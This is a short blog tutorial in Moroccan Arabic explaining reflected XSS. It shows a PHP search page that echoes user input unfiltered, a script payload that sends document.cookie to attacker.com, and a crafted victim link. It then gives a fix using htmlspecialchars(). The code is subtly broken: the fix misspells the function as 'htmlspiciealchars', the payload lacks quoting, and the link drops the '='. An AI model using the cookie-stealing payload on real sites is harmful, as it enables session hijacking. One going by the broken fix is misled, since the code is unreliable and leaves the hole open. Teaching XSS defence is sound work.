xss attack
xss attack
هاد الثغرة كتمكنك انك تقدر تسرق sessions ديال المستخدمين لي في الموقع
نشوفو هاد شي بشكل تطبيقي باش نفهمو كتر مثلا
<html>
<body>
<form action="http://site.com/search.php" method="get">
<input type="text" name="q">
<input type="submit" value="search">
</form>
<?php
$q=$_GET['q'];
echo $q;
?>
</body></html>
هاد script الوضيفة ديالو انك كتكتب شي حاجة وكيطبعها في الصفحة بلا حتا شي فيلتر يعني تقدر تحقن شي اكواد javascript خبيثة في هاديك الصفحة
ندوزو للاستغلال وغادي تفهم لبلان كيفاش دير
attacker فاش غادي يبغي يستاغل هاد الثغرة غادي يشد الرابط ديال الصفحة لي هو
http://site.com/search.php
والاسم ديال input لي هو في حالتنا q
وغادي يزيد عليه الكود ديال javascript لي غادي يسرق بيه session
<script>location.href=http://attacker.com/session.php?s=document.cookie;</script>
هدا سكريبت javascript بسيط كتقدر تاخد cookie ديال المستخدم وكتحولو لموقع attacker
المهم غادي تجمع هاد شي كامل وغادي تصيفطو للضحية على شكل رابط
http://site.com/search.php?q<script>location.href=http://attacker.com/session.php?s=document.cookie;</script>
مني غادي يدخل الضحية هاد الرابط غادي يتم تحويل الكوكيز ديال الضحية لموقع attacker
دبا كيفاش غادي نحمي الموقع ديالي من بحال هاد الثغرات
الجواب هو انك غادي تزيد واحد الدالة في الكود ديالك في جميع المدخلات لي عندك في الموقع ولي هي htmlspecialchars()
<html>
<body>
<form action="http://site.com/search.php" method="get">
<input type="text" name="q">
<input type="submit" value="search">
</form>
<?php
$q=$_GET['q'];
echo htmlspiciealchars($q);
?>
</body></html>
0 commentaires:
إرسال تعليق